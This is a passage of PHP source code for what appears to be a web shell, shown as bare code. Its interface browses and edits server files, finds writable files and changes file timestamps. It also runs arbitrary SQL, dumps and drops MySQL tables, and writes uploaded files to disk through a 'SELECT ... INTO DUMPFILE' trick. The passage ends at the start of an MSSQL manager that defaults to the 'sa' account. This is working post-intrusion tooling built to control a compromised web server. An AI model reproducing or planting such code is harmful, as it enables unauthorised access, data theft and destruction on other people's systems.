819 p('<br /><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></td></tr>');
820
821 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
822
823 //查看所有å¯å†™æ–‡ä»¶å’Œç›®å½•
824 $dirdata=array();
825 $filedata=array();
826
827 if ($view_writable == 'dir') {
828 $dirdata = GetWDirList($nowpath);
829 $filedata = array();
830 } elseif ($view_writable == 'file') {
831 $dirdata = array();
832 $filedata = GetWFileList($nowpath);
833 } elseif ($findstr) {
834 $dirdata = array();
835 $filedata = GetSFileList($nowpath, $findstr, $re);
836 } else {
837 // 目录列表
838 $dirs = finddir($dir);
839 if(is_array($dirs)){
840 foreach ($dirs as $file){
841 $filepath=$nowpath.$file;
842 if(@is_dir($filepath)){
843 $dirdb['filename']=$file;
844 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
845 $dirdb['dirchmod']=getChmod($filepath);
846 $dirdb['dirperm']=getPerms($filepath);
847 $dirdb['fileowner']=getUser($filepath);
848 $dirdb['dirlink']=$nowpath;
849 $dirdb['server_link']=$filepath;
850 $dirdb['client_link']=ue($filepath);
851 $dirdata[]=$dirdb;
852 } else {
853 $filedb['filename']=$file;
854 $filedb['size']=sizecount(@filesize($filepath));
855 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
856 $filedb['filechmod']=getChmod($filepath);
857 $filedb['fileperm']=getPerms($filepath);
858 $filedb['fileowner']=getUser($filepath);
859 $filedb['dirlink']=$nowpath;
860 $filedb['server_link']=$filepath;
861 $filedb['client_link']=ue($filepath);
862 $filedata[]=$filedb;
863 }
864 }// while
865 }
866 unset($dirdb);
867 unset($filedb);
868 //@closedir($dirs);
869 }
870 @sort($dirdata);
871 @sort($filedata);
872 $dir_i = '0';
873
874 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
875 makehide('action','file');
876 makehide('thefile');
877 makehide('doing');
878 makehide('dir',$nowpath);
879
880 foreach($dirdata as $key => $dirdb){
881 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
882 if($getdir && $getdir == $dirdb['server_link']) {
883 $attachsize = dirsize($dirdb['server_link']);
884 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
885 } else {
886 $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
887 }
888 $thisbg = bg();
889 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
890 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');
891 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
892 p('<td nowrap>'.$dirdb['mtime'].'</td>');
893 p('<td nowrap>'.$attachsize.'</td>');
894 p('<td nowrap>');
895 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
896 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
897 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete <'.$dirdb['filename'].'>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
898 p('</tr>');
899 $dir_i++;
900 } else {
901 if($dirdb['filename']=='..') {
902 p('<tr class='.bg().'>');
903 p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
904 p('</tr>');
905 }
906 }
907 }
908
909 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
910 $file_i = '0';
911
912 foreach($filedata as $key => $filedb){
913 if($filedb['filename']!='..' && $filedb['filename']!='.') {
914 $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
915 $thisbg = bg();
916 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
917 p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');
918 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
919 p('<td nowrap>'.$filedb['mtime'].'</td>');
920 p('<td nowrap>'.$filedb['size'].'</td>');
921 p('<td nowrap>');
922 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
923 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
924 p('<td nowrap>');
925 p('<a href="javascript:getinfo(\'getinfo\',\''.$filedb['server_link'].'\');">Info</a> | ');
926 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
927 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
928 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
929 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
930 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
931 p('</td></tr>');
932 $file_i++;
933 }
934 }
935 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
936 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\',null,\'Are you sure will delete files or directory? \\n\\nIf non-empty directory, will be delete all the files.\');">Delete selected</a> - <a href="javascript:dofile(\'downrar\');">Packing selected</a> - <input type="checkbox" name="savefile" value="1" /> Save as file <input class="input" name="zip_file" value="'.SA_ROOT.$_SERVER['HTTP_HOST'].'_'.date("YmdHi",time()).'.zip" type="text" />. Exclude type <input class="input" name="exclude" value="" type="text" title="*.jpg;*.gif;*.png;*.bmp" /></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
937 p('</form></table>');
938}// end dir
939
940elseif ($action == 'sqlfile') {
941 if($doing=="mysqlupload"){
942 $file = $_FILES['uploadfile'];
943 $filename = $file['tmp_name'];
944 if (file_exists($savepath)) {
945 m('The goal file has already existed');
946 } else {
947 if(!$filename) {
948 m('Please choose a file');
949 } else {
950 $fp=@fopen($filename,'r');
951 $contents=@fread($fp, filesize($filename));
952 @fclose($fp);
953 $contents = bin2hex($contents);
954 if(!$upname) $upname = $file['name'];
955 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
956 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
957 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
958 }
959 }
960 }
961?>
962<script type="text/javascript">
963function mysqlfile(doing){
964 if(!doing) return;
965 $('doing').value=doing;
966 $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
967 $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
968 $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
969 $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
970 $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
971 $('mysqlfile').charset.value=$('dbinfo').charset.value;
972 $('mysqlfile').submit();
973}
974</script>
975<?php
976 !$dbhost && $dbhost = 'localhost';
977 !$dbuser && $dbuser = 'root';
978 !$dbport && $dbport = '3306';
979 formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
980 makehide('action','sqlfile');
981 p('<p>');
982 p('DBHost:');
983 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
984 p(':');
985 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
986 p('DBUser:');
987 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
988 p('DBPass:');
989 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
990 p('DBName:');
991 makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
992 p('DBCharset:');
993 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
994 p('</p>');
995 formfoot();
996 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
997 p('<h2>Upload file</h2>');
998 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
999 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
1000 p('<h2>Download file</h2>');
1001 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
1002 makehide('dbhost');
1003 makehide('dbport');
1004 makehide('dbuser');
1005 makehide('dbpass');
1006 makehide('dbname');
1007 makehide('charset');
1008 makehide('doing');
1009 makehide('action','sqlfile');
1010 p('</form>');
1011}
1012
1013elseif ($action == 'mysqladmin') {
1014 !$dbhost && $dbhost = 'localhost';
1015 !$dbuser && $dbuser = 'root';
1016 !$dbport && $dbport = '3306';
1017 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
1018 if(isset($dbhost)){
1019 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
1020 }
1021 if(isset($dbuser)) {
1022 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
1023 }
1024 if(isset($dbpass)) {
1025 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
1026 }
1027 if(isset($dbport)) {
1028 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
1029 }
1030 if(isset($dbname)) {
1031 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
1032 }
1033 if(isset($charset)) {
1034 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
1035 }
1036
1037 if ($doing == 'backupmysql' && $saveasfile) {
1038 if (!$table) {
1039 m('Please choose the table');
1040 } else {
1041 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1042 $fp = @fopen($path,'w');
1043 if ($fp) {
1044 foreach($table as $k => $v) {
1045 if ($v) {
1046 sqldumptable($v, $fp);
1047 }
1048 }
1049 fclose($fp);
1050 $fileurl = str_replace(SA_ROOT,'',$path);
1051 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
1052 mysql_close();
1053 } else {
1054 m('Backup failed');
1055 }
1056 }
1057 }
1058 if ($insert && $insertsql) {
1059 $keystr = $valstr = $tmp = '';
1060 foreach($insertsql as $key => $val) {
1061 if ($val) {
1062 $keystr .= $tmp.$key;
1063 $valstr .= $tmp."'".addslashes($val)."'";
1064 $tmp = ',';
1065 }
1066 }
1067 if ($keystr && $valstr) {
1068 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1069 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
1070 }
1071 }
1072 if ($update && $insertsql && $base64) {
1073 $valstr = $tmp = '';
1074 foreach($insertsql as $key => $val) {
1075 $valstr .= $tmp.$key."='".addslashes($val)."'";
1076 $tmp = ',';
1077 }
1078 if ($valstr) {
1079 $where = base64_decode($base64);
1080 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1081 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
1082 }
1083 }
1084 if ($doing == 'del' && $base64) {
1085 $where = base64_decode($base64);
1086 $delete_sql = "DELETE FROM $tablename WHERE $where";
1087 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1088 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
1089 }
1090
1091 if ($tablename && $doing == 'drop') {
1092 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
1093 if (q("DROP TABLE $tablename")) {
1094 m('Drop table of success');
1095 $tablename = '';
1096 } else {
1097 m(mysql_error());
1098 }
1099 }
1100
1101 formhead(array('title'=>'MYSQL Manager'));
1102 makehide('action','mysqladmin');
1103 p('<p>');
1104 p('DBHost:');
1105 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
1106 p(':');
1107 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
1108 p('DBUser:');
1109 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
1110 p('DBPass:');
1111 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
1112 p('DBCharset:');
1113 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
1114 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
1115 p('</p>');
1116 formfoot();
1117
1118 //æ“作记录
1119 formhead(array('name'=>'recordlist'));
1120 makehide('doing');
1121 makehide('action','mysqladmin');
1122 makehide('base64');
1123 makehide('tablename');
1124 p($dbform);
1125 formfoot();
1126
1127 //选定数æ®åº“
1128 formhead(array('name'=>'setdbname'));
1129 makehide('action','mysqladmin');
1130 p($dbform);
1131 if (!$dbname) {
1132 makehide('dbname');
1133 }
1134 formfoot();
1135
1136 //选定表
1137 formhead(array('name'=>'settable'));
1138 makehide('action','mysqladmin');
1139 p($dbform);
1140 makehide('tablename');
1141 makehide('page',$page);
1142 makehide('doing');
1143 formfoot();
1144
1145 $cachetables = array();
1146 $pagenum = 30;
1147 $page = intval($page);
1148 if($page) {
1149 $start_limit = ($page - 1) * $pagenum;
1150 } else {
1151 $start_limit = 0;
1152 $page = 1;
1153 }
1154 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
1155 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
1156 //èŽ·å–æ•°æ®åº“ä¿¡æ¯
1157 $mysqlver = mysql_get_server_info();
1158 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
1159 $highver = $mysqlver > '4.1' ? 1 : 0;
1160
1161 //èŽ·å–æ•°æ®åº“
1162 $query = q("SHOW DATABASES");
1163 $dbs = array();
1164 $dbs[] = '-- Select a database --';
1165 while($db = mysql_fetch_array($query)) {
1166 $dbs[$db['Database']] = $db['Database'];
1167 }
1168 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
1169 $tabledb = array();
1170 if ($dbname) {
1171 p('<p>');
1172 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
1173 if ($tablename) {
1174 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
1175 }
1176 p('</p>');
1177 mysql_select_db($dbname);
1178
1179 $getnumsql = '';
1180 $runquery = 0;
1181 if ($sql_query) {
1182 $runquery = 1;
1183 }
1184 $allowedit = 0;
1185 if ($tablename && !$sql_query) {
1186 $sql_query = "SELECT * FROM $tablename";
1187 $getnumsql = $sql_query;
1188 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
1189 $allowedit = 1;
1190 }
1191 p('<form action="'.$self.'" method="POST">');
1192 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
1193 makehide('tablename', $tablename);
1194 makehide('action','mysqladmin');
1195 p($dbform);
1196 p('</form>');
1197 if ($tablename || ($runquery && $sql_query)) {
1198 if ($doing == 'structure') {
1199 $result = q("SHOW FULL COLUMNS FROM $tablename");
1200 $rowdb = array();
1201 while($row = mysql_fetch_array($result)) {
1202 $rowdb[] = $row;
1203 }
1204 p('<h3>Structure</h3>');
1205 p('<table border="0" cellpadding="3" cellspacing="0">');
1206 p('<tr class="head">');
1207 p('<td>Field</td>');
1208 p('<td>Type</td>');
1209 p('<td>Collation</td>');
1210 p('<td>Null</td>');
1211 p('<td>Key</td>');
1212 p('<td>Default</td>');
1213 p('<td>Extra</td>');
1214 p('<td>Privileges</td>');
1215 p('<td>Comment</td>');
1216 p('</tr>');
1217 foreach ($rowdb as $row) {
1218 $thisbg = bg();
1219 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1220 p('<td>'.$row['Field'].'</td>');
1221 p('<td>'.$row['Type'].'</td>');
1222 p('<td>'.$row['Collation'].' </td>');
1223 p('<td>'.$row['Null'].' </td>');
1224 p('<td>'.$row['Key'].' </td>');
1225 p('<td>'.$row['Default'].' </td>');
1226 p('<td>'.$row['Extra'].' </td>');
1227 p('<td>'.$row['Privileges'].' </td>');
1228 p('<td>'.$row['Comment'].' </td>');
1229 p('</tr>');
1230 }
1231 tbfoot();
1232 $result = q("SHOW INDEX FROM $tablename");
1233 $rowdb = array();
1234 while($row = mysql_fetch_array($result)) {
1235 $rowdb[] = $row;
1236 }
1237 p('<h3>Indexes</h3>');
1238 p('<table border="0" cellpadding="3" cellspacing="0">');
1239 p('<tr class="head">');
1240 p('<td>Keyname</td>');
1241 p('<td>Type</td>');
1242 p('<td>Unique</td>');
1243 p('<td>Packed</td>');
1244 p('<td>Seq_in_index</td>');
1245 p('<td>Field</td>');
1246 p('<td>Cardinality</td>');
1247 p('<td>Collation</td>');
1248 p('<td>Null</td>');
1249 p('<td>Comment</td>');
1250 p('</tr>');
1251 foreach ($rowdb as $row) {
1252 $thisbg = bg();
1253 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1254 p('<td>'.$row['Key_name'].'</td>');
1255 p('<td>'.$row['Index_type'].'</td>');
1256 p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>');
1257 p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>');
1258 p('<td>'.$row['Seq_in_index'].'</td>');
1259 p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>');
1260 p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>');
1261 p('<td>'.$row['Collation'].' </td>');
1262 p('<td>'.$row['Null'].' </td>');
1263 p('<td>'.$row['Comment'].' </td>');
1264 p('</tr>');
1265 }
1266 tbfoot();
1267 } elseif ($doing == 'insert' || $doing == 'edit') {
1268 $result = q('SHOW COLUMNS FROM '.$tablename);
1269 while ($row = mysql_fetch_array($result)) {
1270 $rowdb[] = $row;
1271 }
1272 $rs = array();
1273 if ($doing == 'insert') {
1274 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1275 } else {
1276 p('<h2>Update record in '.$tablename.' table »</h2>');
1277 $where = base64_decode($base64);
1278 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1279 $rs = mysql_fetch_array($result);
1280 }
1281 p('<form method="post" action="'.$self.'">');
1282 p($dbform);
1283 makehide('action','mysqladmin');
1284 makehide('tablename',$tablename);
1285 p('<table border="0" cellpadding="3" cellspacing="0">');
1286 foreach ($rowdb as $row) {
1287 if ($rs[$row['Field']]) {
1288 $value = htmlspecialchars($rs[$row['Field']]);
1289 } else {
1290 $value = '';
1291 }
1292 $thisbg = bg();
1293 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1294 if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
1295 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
1296 } else {
1297 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1298 }
1299 }
1300 if ($doing == 'insert') {
1301 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1302 } else {
1303 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1304 makehide('base64', $base64);
1305 }
1306 p('</table></form>');
1307 } else {
1308 $querys = @explode(';',$sql_query);
1309 foreach($querys as $num=>$query) {
1310 if ($query) {
1311 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1312 switch(qy($query))
1313 {
1314 case 0:
1315 p('<h2>Error : '.mysql_error().'</h2>');
1316 break;
1317 case 1:
1318 if (strtolower(substr($query,0,13)) == 'select * from') {
1319 $allowedit = 1;
1320 }
1321 if ($getnumsql) {
1322 $tatol = mysql_num_rows(q($getnumsql));
1323 $multipage = multi($tatol, $pagenum, $page, $tablename);
1324 }
1325 if (!$tablename) {
1326 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1327 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1328 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1329 $tablename = $matches[1][0];
1330 }
1331
1332 /*********************/
1333 $getfield = q("SHOW COLUMNS FROM $tablename");
1334 $rowdb = array();
1335 $keyfied = ''; //䏻键嗿®µ
1336 while($row = @mysql_fetch_assoc($getfield)) {
1337 $rowdb[$row['Field']]['Key'] = $row['Key'];
1338 $rowdb[$row['Field']]['Extra'] = $row['Extra'];
1339 if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
1340 $keyfied = $row['Field'];
1341 }
1342 }
1343 /*********************/
1344 //直接æµè§ˆè¡¨æŒ‰ç…§ä¸»é”®é™åºæŽ’列
1345 if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
1346 $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
1347 }
1348
1349 $result = q($query);
1350
1351 p($multipage);
1352 p('<table border="0" cellpadding="3" cellspacing="0">');
1353 p('<tr class="head">');
1354 if ($allowedit) p('<td>Action</td>');
1355 $fieldnum = @mysql_num_fields($result);
1356 for($i=0;$i<$fieldnum;$i++){
1357 $name = @mysql_field_name($result, $i);
1358 $type = @mysql_field_type($result, $i);
1359 $len = @mysql_field_len($result, $i);
1360 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
1361 }
1362 p('</tr>');
1363
1364 while($mn = @mysql_fetch_assoc($result)){
1365 $thisbg = bg();
1366 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1367 $where = $tmp = $b1 = '';
1368 //选喿¡ä»¶å—段用
1369 foreach($mn as $key=>$inside){
1370 if ($inside) {
1371 //查找主键ã€å”¯ä¸€å±žæ€§ã€è‡ªåŠ¨å¢žåŠ çš„å—æ®µï¼Œæ‰¾åˆ°å°±åœæ¢ï¼Œå¦åˆ™ç»„åˆæ‰€æœ‰å—段作为æ¡ä»¶ã€‚
1372 if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
1373 $where = $key."='".addslashes($inside)."'";
1374 break;
1375 }
1376 $where .= $tmp.$key."='".addslashes($inside)."'";
1377 $tmp = ' AND ';
1378 }
1379 }
1380 //读å–记录用
1381 foreach($mn as $key=>$inside){
1382 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1383 }
1384 $where = base64_encode($where);
1385
1386 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1387
1388 p($b1);
1389 p('</tr>');
1390 unset($b1);
1391 }
1392 p('<tr class="head">');
1393 if ($allowedit) p('<td>Action</td>');
1394 $fieldnum = @mysql_num_fields($result);
1395 for($i=0;$i<$fieldnum;$i++){
1396 $name = @mysql_field_name($result, $i);
1397 $type = @mysql_field_type($result, $i);
1398 $len = @mysql_field_len($result, $i);
1399 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
1400 }
1401 p('</tr>');
1402 tbfoot();
1403 p($multipage);
1404 break;
1405 case 2:
1406 $ar = mysql_affected_rows();
1407 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1408 break;
1409 }
1410 }
1411 }
1412 }
1413 } else {
1414 $query = q("SHOW TABLE STATUS");
1415 $table_num = $table_rows = $data_size = 0;
1416 $tabledb = array();
1417 while($table = mysql_fetch_array($query)) {
1418 $data_size = $data_size + $table['Data_length'];
1419 $table_rows = $table_rows + $table['Rows'];
1420 $table['Data_length'] = sizecount($table['Data_length']);
1421 $table_num++;
1422 $tabledb[] = $table;
1423 }
1424 $data_size = sizecount($data_size);
1425 unset($table);
1426 p('<table border="0" cellpadding="0" cellspacing="0">');
1427 p('<form action="'.$self.'" method="POST">');
1428 makehide('action','mysqladmin');
1429 p($dbform);
1430 p('<tr class="head">');
1431 p('<td width="2%" align="center">-</td>');
1432 p('<td>Name</td>');
1433 p('<td>Rows</td>');
1434 p('<td>Data_length</td>');
1435 p('<td>Create_time</td>');
1436 p('<td>Update_time</td>');
1437 if ($highver) {
1438 p('<td>Engine</td>');
1439 p('<td>Collation</td>');
1440 }
1441 p('<td>Operate</td>');
1442 p('</tr>');
1443 foreach ($tabledb as $key => $table) {
1444 $thisbg = bg();
1445 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1446 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1447 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
1448 p('<td>'.$table['Rows'].'</td>');
1449 p('<td>'.$table['Data_length'].'</td>');
1450 p('<td>'.$table['Create_time'].' </td>');
1451 p('<td>'.$table['Update_time'].' </td>');
1452 if ($highver) {
1453 p('<td>'.$table['Engine'].'</td>');
1454 p('<td>'.$table['Collation'].'</td>');
1455 }
1456 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
1457 p('</tr>');
1458 }
1459 p('<tr class="head">');
1460 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1461 p('<td>Name</td>');
1462 p('<td>Rows</td>');
1463 p('<td>Data_length</td>');
1464 p('<td>Create_time</td>');
1465 p('<td>Update_time</td>');
1466 if ($highver) {
1467 p('<td>Engine</td>');
1468 p('<td>Collation</td>');
1469 }
1470 p('<td>Operate</td>');
1471 p('</tr>');
1472 p('<tr class='.bg().'>');
1473 p('<td> </td>');
1474 p('<td>Total tables: '.$table_num.'</td>');
1475 p('<td>'.$table_rows.'</td>');
1476 p('<td>'.$data_size.'</td>');
1477 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
1478 p('</tr>');
1479 $filename = basename(str_replace('.', '_', $_SERVER['HTTP_HOST']).'_'.$dbname.'_'.date("YmdHi",time()));
1480 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$filename.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1481 makehide('doing','backupmysql');
1482 formfoot();
1483 p("</table>");
1484 fr($query);
1485 }
1486 }
1487 }
1488 tbfoot();
1489 @mysql_close();
1490}//end mysql
1491
1492
1493elseif ($action == 'mssqladmin') {
1494 !$dbhost && $dbhost = 'localhost';
1495 !$dbuser && $dbuser = 'sa';
1496 !$dbname && $dbname = 'master';
1497 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
